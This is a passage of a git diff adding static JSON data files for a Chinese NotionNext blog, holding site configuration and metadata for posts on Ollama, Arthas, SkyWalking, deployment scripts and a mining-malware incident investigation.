2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/category/\345\277\203\346\203\205\351\232\217\347\254\224.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/category/\345\277\203\346\203\205\351\232\217\347\254\224.json"
new file mode 100644
index 000000000..1446b8d89
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/category/\345\277\203\346\203\205\351\232\217\347\254\224.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"category":"心情随笔"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/category/\346\212\200\346\234\257\345\210\206\344\272\253.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/category/\346\212\200\346\234\257\345\210\206\344\272\253.json"
new file mode 100644
index 000000000..1ffad45fd
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/category/\346\212\200\346\234\257\345\210\206\344\272\253.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":6,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 